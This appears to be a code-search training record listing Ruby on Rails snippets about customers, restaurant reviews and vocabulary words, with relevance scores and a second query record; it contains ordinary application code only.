"def find_customer\n if params[:customer_id]\n print \"I made it heree ))))))))))))))))))))))))))))\"\n @customer = Customer.find_by_id(params[:customer_id])\n end\n end",
"def recentreview\n return 'No reviews yet!' if self.reviews.length == 0\n self.reviews.reverse.each {|review| return review.body if review.rating >= 4}\n self.reviews.reverse.each {|review| return review.body if review.rating >= 3}\n self.reviews.reverse.each {|review| return review.body if review.rating >= 2}\n self.reviews.reverse.each {|review| return review.body if review.rating >= 1}\n end",
"def selected_card\n # it will return nil if no customers || customer\n self.customers.where(\"is_selected=?\", true).try(:first) \n end",
"def current_customer\n if session[:customer_id]\n @current_customer ||= Customer.find_by(id: session[:customer_id])\n end\n end",
"def customer_id\n @booking_profile.try(:external_user_id)\n end",
"def reviewers\n reviews.map { |r|\n r.user }.uniq\n end",
"def add_review(restaurant, content)\n new_review = Review.new(restaurant, content)\n new_review.customer = self\n new_review.restaurant = restaurant\n end",
"def find_customer(c_id)\n Customer.find(:all,:conditions => {:C_Id => c_id})\n end",
"def current_user\n current_customer\n end",
"def vault_customer\n return nil if customer_details.id.nil?\n @gateway.customer.find(customer_details.id)\n end",
"def find_customer\n @customer = OrderUser.find_by_id(session[:customer])\n end",
"def review\n @customer = Customer.new(customer_params)\n @order = Order.find_by_user_session_id(session['session_id'])\n if @customer.invalid?\n respond_to do |format|\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n present_coupon = Coupon.check_coupon(params[:coupon])\n if params[:coupon].present? && present_coupon == true\n @coupon = Coupon.find_by_code(params[:coupon])\n @order.update_total_price_cents(@coupon)\n else\n @order.update_total_price_cents(nil)\n end\n end",
"def get_initial_reviews\n\n\t\t# return api call for just one review\n\tend",
"def customer_comments\n end",
"def get_review_result(name)\n self.design_review_results.detect { |drr| drr.role.name == name }\n end",
"def show\n @items = Item.order(\"item_price ASC\").where(\"restaurant_id == ? \",params[:id])\n @restaurant = Restaurant.find(params[:id])\n @reviews = Review.find_all_by_restaurant_id(params[:id])\n if customersigned_in?\n @review = current_customer.reviews.build(restaurant_id: params[:id])\n @rating = current_customer.ratings.find_by_restaurant_id(params[:id])\n if @rating.nil?\n @rating = current_customer.ratings.build(restaurant_id: params[:id], user_rating: 0)\n end\n end\n\n end",
"def user_reviews\n Review.all.select {|review| review.user == self}\n end",
"def show\n @owner_id = @product.originaluser_id \n # @reviews = Review.where('owner_id = ?', @owner_id)\n @reviews = Review.where('owner_id = ?', @owner_id).where('reviews.approved = ?', true)\n \n # Review.joins(:user).where('reviews.approved = ?', true).where('users.id = ?', @owner_id)\n end",
"def reviews\n Review.all.select do |r|\n r.user == self\n end\n end",
"def id\n customer_id\n end",
"def find_review\n @review = Review.find(params[:id])\n end",
"def current_customer\n \treturn unless session[:user_id]\n \t@current_customer ||= Customer.find_by_id(session[:user_id])\n end",
"def show\n @customer = Customer.find(params[:id])\t\n end",
"def get_customer\n if self.customer_id.present?\n\n begin\n Stripe.api_key = ENV['API_KEY']\n customer = Stripe::Customer.retrieve(\"#{self.customer_id}\")\n\n if customer.respond_to?(:deleted)\n self.status = NO_STRIPE\n else\n load_customer_info(customer)\n if customer.delinquent == true\n self.status = INACTIVE\n end\n end\n\n rescue Stripe::StripeError => stripe_error\n logger.debug(\"[Account.get_customer] stripe error = #{stripe_error.message}\")\n errors[:customer_id] << stripe_error.message\n return nil\n end\n\n return customer\n else\n return nil\n end\n end",
"def customer()\n sql = \"SELECT customers.* from customers INNER JOIN tickets on\n customers.id = tickets.customer_id WHERE film_id = $1 \"\n values = [@id]\n results = SqlRunner.run(sql, values)\n results.map {|result| Customer.new(result)}\n end",
"def access_review_id\n return @access_review_id\n end",
"def show\n @reviews = @movie.reviews.page params[:page]\n @reported_reviews = current_user.reported_reviews.where(movie: @movie).pluck(:review_id)\n end",
"def find_review\n\t\t\t@review = Review.find(params[:id])\n\t\tend",
"def show\n @customer = Customer.find(params[:id])\n end",
"def show\n @customer = Customer.find(params[:id])\n end",
"def reviews\n # output = []\n # Review.all.each do |review|\n # if review.user == self\n # output << review\n # end\n # end\n # output\n Review.all.select { |review| review.user == self }\n end",
"def show\n @review = find_review\n end",
"def show\n @customer = Customer.find(@order.customer_id)\n end",
"def find_reviews(brewery)\n brewery.reviews\n end",
"def contacted_reviewers()\n return MicrosoftGraph::IdentityGovernance::AccessReviews::Definitions::Item::Instances::Item::ContactedReviewers::ContactedReviewersRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def show\n @recruit = @company.recruit\n @compensation = @company.compensation\n @reviews = @company.reviews\n\n if user_signed_in?\n @cur_review = Review.find_by user_id:current_user.id, company_id:@company.id\n end\n end",
"def show\n @restaurant = Restaurant.find(params[:id])\n @reviews = Review.where(restaurant_id: params[:id])\n end",
"def openstruct_reviews\r\n @shop.reviews\r\n end",
"def reviews\n @items = ProductComment.includes(:account).where({product: @product}).all\n end",
"def reviews_as_owner\n Review.where(:product_id => product_ids)\n end",
"def get_stripe_customer(stripe_customer_id)\n ::Stripe::Customer.retrieve(stripe_customer_id)\n end",
"def reviews\n reviews = []\n katas = Kata.all\n katas.each { |k| reviews += k.reviews.where(user_id: self.id) }\n return reviews\n end",
"def list\n @reviews = current_user.organization.reviews\n end",
"def my_reviews\n @owner = current_user\n @reviews = Review.find(:all, :conditions => [\"user_id = ?\", @owner.id])\n render :action => \"index\"\n end",
"def get_customer_name\n first_name + ' ' + last_name\n end",
"def customer_filter\n customers = current_user.company.resources.map { |r| r.customer }\n customers = customers.compact.uniq.sort_by { |c| c.name.downcase }\n\n return filter_for(:customer_id, objects_to_names_and_ids(customers),\n session[:resource_filters], _(\"Customer\"))\n end",
"def review(rating)\n user = User.new\n user.read_creddentials\n user.login\n response = user.review rating\n if response\n puts 'Last food reviewed!'\n else\n puts 'Nothing to review'\n end\n end",
"def reviewers\n return @reviewers\n end",
"def critics(reviews)\n @criticreview = reviews\n end",
"def show\n RestaurantReview.find(params[:id])\n end",
"def favorite_customer\n cust = Customer.joins(invoices: [:transactions])\n .where(\"transactions.result = ?\", \"success\")\n .select(\"customers.*, count(transactions.id) as sales\")\n .group(:id)\n .order(\"sales desc\")\n .limit(1)\n\n cust.to_a.shift\n end"
] |
[
"0.73927265",
"0.7021797",
"0.6681378",
"0.66530454",
"0.6397355",
"0.6392147",
"0.6286351",
"0.6278143",
"0.6274091",
"0.6260268",
"0.6226777",
"0.6219151",
"0.62127304",
"0.621204",
"0.6182674",
"0.61805177",
"0.6160093",
"0.6143058",
"0.6133048",
"0.61160433",
"0.61119837",
"0.6093824",
"0.609183",
"0.6085547",
"0.60701185",
"0.60513157",
"0.60472894",
"0.6038304",
"0.60352176",
"0.6022863",
"0.6010726",
"0.6002191",
"0.59771335",
"0.59752303",
"0.5951383",
"0.59472525",
"0.59426224",
"0.5933851",
"0.5930533",
"0.59242105",
"0.5910276",
"0.58824754",
"0.58744025",
"0.5860267",
"0.5844984",
"0.5844984",
"0.5799199",
"0.57757217",
"0.57698375",
"0.5769649",
"0.57665676",
"0.57543135",
"0.57503694",
"0.5740744",
"0.57230455",
"0.57114035",
"0.5709074",
"0.5703505",
"0.56944484",
"0.56941915",
"0.56930876",
"0.5691215",
"0.5691079",
"0.5686667",
"0.5684549",
"0.568027",
"0.5680079",
"0.56786036",
"0.5676386",
"0.56756884",
"0.5675015",
"0.5668826",
"0.56597966",
"0.5649169",
"0.56403667",
"0.563566",
"0.56299794",
"0.56261533",
"0.56261533",
"0.5620671",
"0.56198126",
"0.5605406",
"0.5598421",
"0.5591662",
"0.55894154",
"0.55839664",
"0.5575381",
"0.55679154",
"0.5560217",
"0.55510545",
"0.5546731",
"0.55446976",
"0.55444664",
"0.5535629",
"0.5528229",
"0.55238193",
"0.5512406",
"0.5492008",
"0.5485697",
"0.54714197"
] |
0.7124252
|
1
|
returns the restaurant for that given review
|
def restaurant
@restaurant
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def review\n fetch('restaurant.review')\n end",
"def reviewed?(restaurant, options = {})\n self.reviews.of_restaurant(restaurant, options).first\n end",
"def show\n @restaurant = Restaurant.find(params[:id])\n @reviews = Review.where(restaurant_id: params[:id])\n end",
"def show\n RestaurantReview.find(params[:id])\n end",
"def review(review, options = {})\n get(\"reviews/#{review}\", options).pop\n end",
"def set_review\n @restaurant_review = RestaurantReview.find(params[:id])\n end",
"def find_user_that_review_x_restaurant\n @restaurant = params[:name]\n if @restaurant.nil?\n @restaurant = 'please specify a restaurant'\n else \n @restaurant = Restaurant.find(params[:name]).name\n end\n @user = User.select(:email).joins(:reviews).group(:email, :restaurant_id).having('restaurant_id = ?', params[:name])\n end",
"def get_review(review)\n\n\t\treviewObject = Review.new(\n\t\t\treview.css(REVIEW_CONTENT).first&.content.strip.gsub(/\\r\\n/,\"\"), \t\t\t # content\n\t\t\tget_ranking_val(review.css(DEALERSHIP_RATING).first), \t\t\t\t\t\t\t # rating \n\t\t\tcreate_rating_dict(review.css(RATINGS_ALL)[0...-1]),\t\t\t\t # individual ratings\n\t\t\treview.css(RATINGS_ALL).last.css(\"div\").last.content.strip,\t # would recommend\n\t\t\treview.css(\"#{REVIEW_WRAPPER} h3\").first.content.tr(\"\\\"\", \"\").strip,\t\t\t # headline\n\t\t\treview.css(\"#{REVIEW_WRAPPER} span\").first.content.tr(\"-\", \"\").strip # username\n\t\t)\n\n\t\treturn reviewObject\n\tend",
"def set_restaurant_review\n @restaurant_review = RestaurantReview.find(params[:id])\n end",
"def review\n @review\n end",
"def index\n @restaurant_reviews = RestaurantReview.all\n end",
"def show\n @items = Item.order(\"item_price ASC\").where(\"restaurant_id == ? \",params[:id])\n @restaurant = Restaurant.find(params[:id])\n @reviews = Review.find_all_by_restaurant_id(params[:id])\n if customersigned_in?\n @review = current_customer.reviews.build(restaurant_id: params[:id])\n @rating = current_customer.ratings.find_by_restaurant_id(params[:id])\n if @rating.nil?\n @rating = current_customer.ratings.build(restaurant_id: params[:id], user_rating: 0)\n end\n end\n\n end",
"def find_review\n Review.find(params[\"id\"])\n end",
"def index\n @restaurants = Restaurant.all\n @review = Review.new\n end",
"def add_review(restaurant, content)\n Review.new(self, restaurant, content)\n end",
"def recentreview\n return 'No reviews yet!' if self.reviews.length == 0\n self.reviews.reverse.each {|review| return review.body if review.rating >= 4}\n self.reviews.reverse.each {|review| return review.body if review.rating >= 3}\n self.reviews.reverse.each {|review| return review.body if review.rating >= 2}\n self.reviews.reverse.each {|review| return review.body if review.rating >= 1}\n end",
"def review(rating)\n user = User.new\n user.read_creddentials\n user.login\n response = user.review rating\n if response\n puts 'Last food reviewed!'\n else\n puts 'Nothing to review'\n end\n end",
"def find_review\n @review = Review.find(params[:id])\n end",
"def show\n @restaurant = Restaurant.find(params[:id])\n @reviews = @restaurant.reviews\n @cart = current_cart || create_cart_for(@restaurant)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restaurant }\n end\n end",
"def set_reviews\n @reviews = Review.where(restaurant_id: @restaurant.id).order(\"created_at DESC\")\n end",
"def add_review(restaurant, content)\n Review.new(restaurant, self, content)\n end",
"def find_review\n\t\t\t@review = Review.find(params[:id])\n\t\tend",
"def add_review(restaurant, content)\n new_review = Review.new(restaurant, content)\n new_review.customer = self\n new_review.restaurant = restaurant\n end",
"def find_reviews(brewery)\n brewery.reviews\n end",
"def create\n @review = Review.new(review_params) # params come from a form\n @review.restaurant = @restaurant\n @review.save\n\n redirect_to restaurant_path(@restaurant.id)\n end",
"def customer\n @@all.select {|review| self.restaurant.customers}\n end",
"def restaurant_review_params\n params.require(:restaurant_review).permit(:reviewer_name, :rating, :comment, :restaurant_id)\n end",
"def restaurant\n location.restaurant\n end",
"def create\n @restaurant = Restaurant.find(params[:restaurant_id])\n @review = @restaurant.reviews.build(params[:review]) \n @review.save!\n redirect_to(restaurant_review_path(@restaurant, @review))\n end",
"def rating\n review.rating if review\n end",
"def get_initial_reviews\n\n\t\t# return api call for just one review\n\tend",
"def show\n @reviews = Review.select { |review| review.item_id == @item.id }\n @review = Review.new(item_id: @item.id)\n @ratingSum = 0.0\n @reviews.each do |review|\n @ratingSum = @ratingSum + review.rating\n end\n @avgRating = (@ratingSum/@reviews.count).round(1)\n if logged_in?\n @isPrevRented = Rental.find_by(user_id: current_user.id, history: true, item_id: params[:id])\n @isPrevReviewed = Review.find_by(user_id: current_user, item_id: params[:id])\n end\n @rentals = Rental.where(item_id: params[:id], history: true)\n end",
"def add_review(restaurant, content)\n review = Review.new(restaurant, self)\n review.content = content\n end",
"def get_restaurant \n puts \"Enter a dish and we will tell you a restaurant that offers it\"\n dish_name = gets.chomp \n d = Dish.find_by(name: dish_name).id\n r = RestaurantDish.find_by(dish_id: d).restaurant_id \n to_return = Restaurant.find_by(id: r).name\n pp to_return\n\nend",
"def show\n @review = find_review\n end",
"def rating\n\t\tif review.any?\n\t\t\trating = review.map {|review| review.rating}\n\t\t\ttotal = rating.reduce(0) {|total, rating| total += rating}\n\t\t\ttotal = review.reduce(0) {|total, review| total += review.rating}\n\n\t\t#return nil if reviews.empty?\n\t\tend\n\t\t#(reviews.map(&:rating).reduce(&:+).to_f / reviews.length).round(2)\n\t\t#llama a un array de metodo raiting de todos los review; (reduce el array a uno) \n\tend",
"def create\n if @restaurant.present?\n review = Review.new(review_params)\n if review.save\n render_json content: review\n else\n render_json content: review.errors\n end\n else\n render json: {error: \"restaurant id #{review_params[:restaurant_id]} does not exist\"}, status: :forbidden\n end\n end",
"def reviews\n @reviews\n end",
"def create\n @review = Review.new(review_params)\n @review.user_id = current_user.id\n \n #유저는 한 식당에 한번의 리뷰만 쓸 수 있다.\n # if current_user.reviews.restaurant_id?\n # redirect_to @review.errors,flash:{note: '리뷰는 한번만.'}\n # else\n # @review.save\n # redirect_to @review,flash:{success: 'Review was successfully created.'}\n # end\n \n if @review.save\n # redirect_to @review, flash:{success: 'Review was successfully created.'}\n redirect_to restaurant_url(@review.restaurant_id), flash:{success: 'Review was successfully created.'}\n else\n render :new\n end\n \n \n end",
"def review_set\n return @review_set\n end",
"def find\n @restaurant = Restaurant.find(params[:id])\n end",
"def find\n @restaurant = Restaurant.find(params[:id])\n end",
"def get_restaurant(res_id)\n\t\tzomato_restaurant_details_url = @base_uri +\n\t\t\t\"/restaurant?res_id=#{res_id}\"\n\t\tresponse = HTTParty.get(zomato_restaurant_details_url, headers: @headers)\n\t\tif response.success?\n\t\t\t@restaurant_details = response.parsed_response\n\t\telse\n\t\t\traise response.response\n\t\tend\n\tend",
"def create\n @restaurant_review = RestaurantReview.new(restaurant_review_params)\n\n respond_to do |format|\n if @restaurant_review.save\n format.html { redirect_to @restaurant_review, notice: 'Restaurant review was successfully created.' }\n format.json { render :show, status: :created, location: @restaurant_review }\n else\n format.html { render :new }\n format.json { render json: @restaurant_review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n\t\t@restaurant = Restaurant.find(params[:id])\n\tend",
"def my_reviews\n Review.all.select do |review_instance|\n review_instance.traveller == self\n end\n end",
"def find_frequently_reviewed_restaurants(topic, reviewer)\n restaurants = reviewer.subscribed_restaurants.by_topic(topic.id)\n frequency_with_restaurants = {}\n restaurants.each do |restaurant|\n frequency_with_restaurants[restaurant] ||= 0\n frequency_with_restaurants[restaurant] += 1\n end\n\n sorted = frequency_with_restaurants.sort{|v1, v2| v2.last <=> v1.last}\n\n # Take top 5 restaurants\n sorted[0..5]\n end",
"def reviewers\n return @reviewers\n end",
"def show\n @restaurant = Restaurant.find(params[:id])\n \n end",
"def review_name\n if self.review_type_id_2 == 0\n self.review_type.name\n else\n self.review_type.name + '/' + ReviewType.find(self.review_type_id_2).name\n end\n end",
"def show\n @review = Review.find(params[:id])\n\n end",
"def reviews(id, review_type='top_critic', page_limit='20', page='1', country='us')\n results = self.class.get(\"/movies/#{id}/reviews.json\", :query => {:review_type => review_type, :page_limit => page_limit, :page => page, :country => country}).parsed_response\n return results\n end",
"def show\n @review = Review.find(params[:id])\n end",
"def show\n @review = Review.find(params[:id])\n end",
"def show\n @review = Review.find(params[:id])\n end",
"def show\n @restaurant = Restaurant.find(params[:id])\n end",
"def show\n @restaurant = Restaurant.find(params[:id])\n end",
"def show\n @restaurant = Restaurant.find(params[:id])\n end",
"def find_restaurant_loc\n puts \"Enter Restaurant: \" \n rest_name = gets.chomp\n x = Restaurant.find_by(name: rest_name)\n pp x.location\nend",
"def reviewers\n reviews.map { |r|\n r.user }.uniq\n end",
"def review_params\n params.require(:review).permit(:description, :rating, :restaurant_id)\n end",
"def set_food_review\n @food_review = FoodReview.find(params[:id])\n end",
"def index\n @food_reviews = FoodReview.all\n end",
"def restaurant\n self.restaurant\n end",
"def get_reviews(proposal_id)\n\t\treturn Review.find_all_by_proposal_id(proposal_id)\n\tend",
"def recent_reviews\n # 5 most recent reviews of this restaurant\n\n self.reviews.order(:date).limit(5)\n end",
"def show\n @item = Item.find(params[:id])\n @reviews = @item.reviews\n end",
"def review_params\n params.require(:restaurant_review).permit(:content, :rating, :restaurant_id)\n end",
"def review\n @users = User.all\n @review = Review.new\n end",
"def review\n end",
"def review_reply(review_reply, options = {})\n get(\"review_replies/#{review_reply}\", options).pop\n end",
"def show\n if params[:yelp_rating] && params[:google_rating] && params[:foursquare_rating]\n @ratings = {:yelp_rating => params[:yelp_rating], :foursquare_rating => params[:foursquare_rating], :google_rating => params[:google_rating], :weighted_rating => params[:weighted_rating]}\n end\n @social = {:yelp_id => params[:yelp_id], :foursquare_id => params[:foursquare_id], :google_id => params[:google_id]}\n if params[:google_id]\n @google_place = Restaurant.get_place_from_google params[:google_id]\n @google_reviews = @google_place.reviews\n @google_images = []\n @google_reviews.each do |review|\n str = review.author_url.to_s\n google_plus_id = str[24..-1]\n request = \"https://www.googleapis.com/plus/v1/people/\" + \"#{google_plus_id}\" + \"?fields=image&key=AIzaSyB8fUZUPNYIWKwz6Nss-Hu7J_2VUjFSOWA\"\n response = HTTParty.get(request)\n result = JSON.parse(response.body)\n\n if result[\"image\"]\n @google_images << result[\"image\"][\"url\"]\n else\n @google_images << nil\n end\n end\n\n end\n @yelp_reviews = Restaurant.get_restaurant_reviews_from_yelp params[:yelp_id]\n @foursquare_tips = Restaurant.get_venue_tips_from_foursquare params[:foursquare_id]\n \n @friend_recommendations = Recommendation.get_friend_recommedation_by_restaurant(params[:google_id], @registered_friends)\n end",
"def set_review\n @agency_review = Review.find(params[:review_id])\n end",
"def show\n \t@restaurant=Restaurant.find params[:id]\n end",
"def update\n if @restaurant.present?\n if @review.present?\n if @review.update(review_params)\n render_json content: @review\n else\n render_json content: @review.errors\n end\n end\n end\n\n end",
"def reviews\n Review.all.select {|review| review.customer == self}\n end",
"def get_review_result(name)\n self.design_review_results.detect { |drr| drr.role.name == name }\n end",
"def reviews\n reviews = []\n katas = Kata.all\n katas.each { |k| reviews += k.reviews.where(user_id: self.id) }\n return reviews\n end",
"def show\n \t@restaurant = Restaurant.find(params[:id])\n \t@tweets = @restaurant.tweets\n \t@marker = Gmaps4rails.build_markers(@restaurant) do |restaurant, marker|\n \t\tmarker.lat restaurant.latitude\n \t\tmarker.lng restaurant.longitude\n \t\tmarker.title restaurant.name\n \tend\n # @reviews = []\n # @restaurant.reviews.each do |review|\n # @reviews << [review.content, review.stars, review.price, review.user.username]\n # end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restaurant }\n end\nend",
"def set_restaurant\n @restaurant = Restaurant.find_by(yelp_id: params[:yelp_id])\n end",
"def load_review\n @review = Spree::Review.find(params[:review_id])\n end",
"def restaurant_name\n @restaurant.name \n end",
"def show\n @tour_reviews = TourReview.new\n end",
"def get_reviews\n @comment_reviews = CommentReview.where('comment_id = ?', params[:comment_id])\n end",
"def restaurant\n end",
"def show\n @review = Review.new\n\n if @listing.reviews.blank?\n @avg_rating = 0\n else\n @avg_rating = @listing.reviews.average(:rating).round(2)\n end\n\n end",
"def set_review\n review = Review.find(params[:id])\n end",
"def index\n @categories = Category.where(restaurant_id: @restaurant.id).order(\"created_at DESC\")\n if @category\n @foods = @category.foods\n else\n @foods = @restaurant.foods\n end\n\n if @reviews.blank?\n @avg_review = 0\n else\n @avg_review = @reviews.average(:rating).round(2)\n end\n end",
"def show\n #this is going to be the individual review page using no. in db row using params array of :id. make sure we now create view page\n @review = Review.find(params[:id])\n end",
"def set_restaurant\n @restaurant = Restaurant.find(params[:yelp_id])\n end",
"def lowest_review \n\t\tself.reviews.sort_by{ |review| review.rating }.first\n\tend",
"def show\n @review = @place.reviews.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end",
"def review_params\n params.permit(:reviewer, :comment, :rating, :restaurant_id)\n end",
"def show\n # params can be a hash containing the form values\n # params can also be the url attributes\n # an instance of a restaurant\n end",
"def reviews\n Review.all.select do |r|\n r.user == self\n end\n end",
"def highest_review \n\t\tself.reviews.sort_by{ |review| review.rating }.reverse.first\n\tend",
"def owner\n @restaurant.owner\n end",
"def restaurants\n Restaurant.all.select do |restuarant|\n restaurant_number.restaurantowner == self\n end\n end",
"def reviews\n self.reviews\n end",
"def average_restaurant_rating\n ratings = []\n DishPost.all.map do |post|\n if post.restaurant_id == self.id\n ratings << post.rating\n end\n end\n ratings.inject{ |sum, a| sum + a}.to_f / ratings.size.to_f\n end"
] |
[
"0.8102352",
"0.8025022",
"0.7583525",
"0.73381543",
"0.70767486",
"0.706454",
"0.69421977",
"0.69169235",
"0.69092065",
"0.67775613",
"0.6749716",
"0.6743598",
"0.67216897",
"0.670337",
"0.6641336",
"0.66171736",
"0.65653527",
"0.6464025",
"0.64590925",
"0.6458032",
"0.6439142",
"0.64153963",
"0.64096045",
"0.6365395",
"0.63431203",
"0.6324092",
"0.63048595",
"0.62979174",
"0.62599117",
"0.62152827",
"0.6212843",
"0.6199569",
"0.6197986",
"0.6191727",
"0.61802906",
"0.6176714",
"0.6165309",
"0.61640537",
"0.61574554",
"0.61561054",
"0.6135047",
"0.61216533",
"0.61111796",
"0.6110192",
"0.610254",
"0.608499",
"0.60746294",
"0.6067599",
"0.6058252",
"0.6049217",
"0.6048559",
"0.60469687",
"0.6037998",
"0.6037998",
"0.6037998",
"0.6033911",
"0.6033911",
"0.6033911",
"0.60298437",
"0.6026138",
"0.60115397",
"0.6006936",
"0.60011655",
"0.5998593",
"0.5971945",
"0.596248",
"0.5961789",
"0.5954603",
"0.5942855",
"0.59426475",
"0.59300065",
"0.591789",
"0.5916597",
"0.5915641",
"0.5913891",
"0.5905685",
"0.5904721",
"0.5901701",
"0.58930063",
"0.58874875",
"0.58787054",
"0.5873547",
"0.5869361",
"0.58620036",
"0.58563215",
"0.5850564",
"0.5849368",
"0.58458555",
"0.5838744",
"0.58378476",
"0.58361626",
"0.58241653",
"0.58238286",
"0.5819922",
"0.5819728",
"0.5815832",
"0.58095664",
"0.5805663",
"0.579757",
"0.5793806"
] |
0.6553296
|
17
|
GET /vocab_words GET /vocab_words.json
|
def index
logger.debug "-----index-----"
@vocab_words = VocabWord.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def vocab_word_params\n params.require(:vocab_word).permit(:id, :word, :lesson)\n end",
"def set_vocab\n @vocab = Vocab.find(params[:id])\n end",
"def set_vocab_word\n logger.debug \"-----set_vocab_word----- \" + params[:id].to_s\n @vocab_word = VocabWord.find(params[:id])\n end",
"def index\n respond_with(@words = Word.all)\n end",
"def vocab_params\n params.require(:vocab).permit(:prefix, :uri)\n end",
"def index\n @words = Word.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @words }\n end\n end",
"def index\n @words = Word.all\n end",
"def index\n @words = Word.all\n end",
"def index\n @vocabs = Vocab.all\n end",
"def show\n @spanish_vocab = SpanishVocab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spanish_vocab }\n end\n end",
"def list\n @words=Word.find(:all)\n end",
"def index\n @frequency_vocabularies = FrequencyVocabulary.all\n end",
"def parse_vocabulary1\n json = File.read(VOCABULARY_FILE)\n object = JSON.parse(json)\n result = []\n (1..6).each do |i|\n result.push(object[\"LEVEL#{i}\"][\"words\"])\n end\n result\n end",
"def create\n @vocab = Vocab.new(vocab_params)\n\n respond_to do |format|\n if @vocab.save\n format.html { redirect_to @vocab, notice: \"Vocab was successfully created.\" }\n format.json { render :show, status: :created, location: @vocab }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @words = Word.order(:word).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @words }\n end\n end",
"def words\n @words ||= Array(@grpc.words).map do |b|\n Word.from_grpc b\n end\n end",
"def index\n # Get all registered ControlledVocabularies\n @controlled_vocabularies = ControlledVocabulary.all.order(:string_key)\n\n # Also get additional controlled vocabularies from UriService that haven't been registered\n controlled_vocabulary_string_keys = @controlled_vocabularies.map(&:string_key)\n @additional_uri_service_controlled_vocabularies = UriService.client.list_vocabularies(1000) # Ridiculously high limit to show all\n @additional_uri_service_controlled_vocabularies.delete_if { |uri_service_vocabulary| controlled_vocabulary_string_keys.include?(uri_service_vocabulary['string_key']) }\n end",
"def index\n @learnwordlists = Learnwordlist.all\n end",
"def show\n @vocab = Vocab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vocab }\n end\n end",
"def index\n @word_lists = WordList.all\n end",
"def index\n @words = Word.all.paginate(:page => params[:page])\n end",
"def destroy\n @vocab_word.destroy\n respond_to do |format|\n format.html { redirect_to vocab_words_url, notice: 'Vocab word was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def show\n @word = Word.find(params[:id])\n\n #debug\n @texts = @word.texts\n ############################\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word }\n end\n end",
"def show\n @words = Dictionary.find(params[:id]).words.all\n @empty = @words.count.zero?\n respond_to do |format|\n format.html\n format.json do\n render json: {'empty': @empty, 'table': create_words_table(@words)}\n end\n end\n end",
"def get_vocabulary(vocabulary_id, type = 'word', page = 0, page_size = 50)\n raise ArgumentError, 'vocabulary_id was not provided and is not optional' if vocabulary_id.nil?\n vocab_url = \"/vocabulary/#{vocabulary_id}\"\n query = {\n page: page,\n pageSize: page_size\n }\n query.store('type', type) unless type.nil?\n response = self.class.get(vocab_url, headers: @headers, query: query)\n raise HttpException.new(\"There was a problem getting a vocabulary: #{response.code}.\",\n \"getting vocabulary #{vocabulary_id}\",\n response) unless response.success?\n NexosisApi::PagedArray.new(response.parsed_response,\n response.parsed_response['items']\n .map { |item| NexosisApi::VocabularyWord.new(item) })\n end",
"def create\n @vocab = Vocab.new(params[:vocab])\n\n respond_to do |format|\n if @vocab.save\n format.html { redirect_to(@vocab, :notice => 'Vocab was successfully created.') }\n format.xml { render :xml => @vocab, :status => :created, :location => @vocab }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vocab.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def get_random_words(*args)\n http_method = :get\n path = '/words/randomWords'\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def get_related_words(word, *args)\n http_method = :get\n path = '/word/{word}/relatedWords'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def index\n # scan from redis\n words = []\n REDIS.keys('w_*').reverse_each do |key|\n words.push(JSON.parse(REDIS.get(key))) \n end\n render json: words\n\n # scan from mongodb\n # @words = Word.all\n # render json: @words\n end",
"def getRandomWord\n @word = Wordnik.words.get_random_word(\n includePartOfSpeech: \"noun\",\n minLength: 5,\n maxLength: 10\n )\n if request.xhr?\n render :json => @word\n end\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to vocab_list_path }\n format.json { head :no_content }\n end\n end",
"def update\n logger.debug \"-----update-----\"\n respond_to do |format|\n if @vocab_word.update(vocab_word_params)\n format.html { redirect_to @vocab_word, notice: 'Vocab word was successfully updated.' }\n format.json { render :show, status: :ok, location: @vocab_word }\n else\n format.html { render :edit }\n format.json { render json: @vocab_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n story_parts_words = {}\n story_parts = StoryPart.where(params[:story_id])\n # iterate through story parts to find word. Create story_part/word association to be passed into json data\n story_parts.each do |story_part|\n story_word_array = []\n story_word_array.push(story_part)\n story_word_array.push(story_part.word)\n story_parts_words[story_part.id] = story_word_array\n end\n \n render :json => story_parts_words\n end",
